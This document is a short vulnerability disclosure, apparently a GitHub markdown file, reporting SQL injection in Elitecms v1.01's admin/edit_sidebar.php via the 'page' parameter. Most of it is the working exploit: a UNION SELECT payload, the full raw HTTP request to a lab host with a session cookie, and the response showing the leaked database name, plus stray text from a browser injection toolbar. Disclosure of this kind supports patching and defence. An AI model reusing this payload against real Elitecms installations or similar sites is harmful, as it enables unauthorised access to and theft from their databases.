debug601 Create SQLi-6.md History

1 contributor

28 lines (19 sloc) | 1.06 KB

Elitecms v1.01 by elitecms has SQL injection

vendors: https://elitecms.net/download.php

Vulnerability File: /admin/edit_sidebar.php

Vulnerability location: ip/eliteCMS1.01/admin/edit_sidebar.php?page=, page

dbname: elitecms101

[+] Payload: /eliteCMS1.01/admin/edit_sidebar.php?page=-1%20union%20select%201,2,3,4,database(),6,7,8,9,10,11--+&sidebar=1 // Leak place ---> page

```
GET /eliteCMS1.01/admin/edit_sidebar.php?page=-1%20union%20select%201,2,3,4,database
Host: 192.168.1.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf120e
Connection: close
```

```
GET
/eliteCMS1.01/admin/edit_sidebar.php?page=
-1%20union%20select%201,2,3,4,database(),6
,7,8,9,10,11--+&sidebar=1 HTTP/1.1
Host: 192.168.1.108
User-Agent: Mozilla/5.0 (Windows NT 10.0;
WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xml,applicatio
n/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf120e
Connection: close
```

```
<table width="100%" align="center" cellpadding="0" cellspacing="0" id="post_form">
<tr bgcolor="#EEF7FD">
<td width="27%" class="padd">Parent Page :</td>
<td width="73%" class="padd">
<select name="page_id" class="select1">
<option value="1">elitecms101</option>
</select>
</td>
</tr>
<tr>
<td valign="bottom" class="padd">Post Position :</td>
<td valign="bottom" class="padd">

<input type="text" name="position" id="position" class="inputSmall" value="1"/>
</td>
</tr>
<tr bgcolor="#EEF7FD">
<td class="padd">Sidebar Content Title :</td>
<td class="padd">
<input name="title" type="text" class="input" id="title" value="First sidebar post" />
</td>
</tr>
<tr>
<td class="padd">Sidebar Content :</td>
```

INT SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

Load URL

Split URL

Execute

http://192.168.1.108/eliteCMS1.01/admin/edit_sidebar.php?page=-1 union select 1,2,3,4,database(),6,7,8,9,10,11--+&sidebar=1

Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert replacing string Replace

Posts under this sidebar.

Post Position : 1

First sidebar post

Post Position : 2

Some links

Parent Page : elitecms101

Post Position : 1

Sidebar Content Title : First sidebar post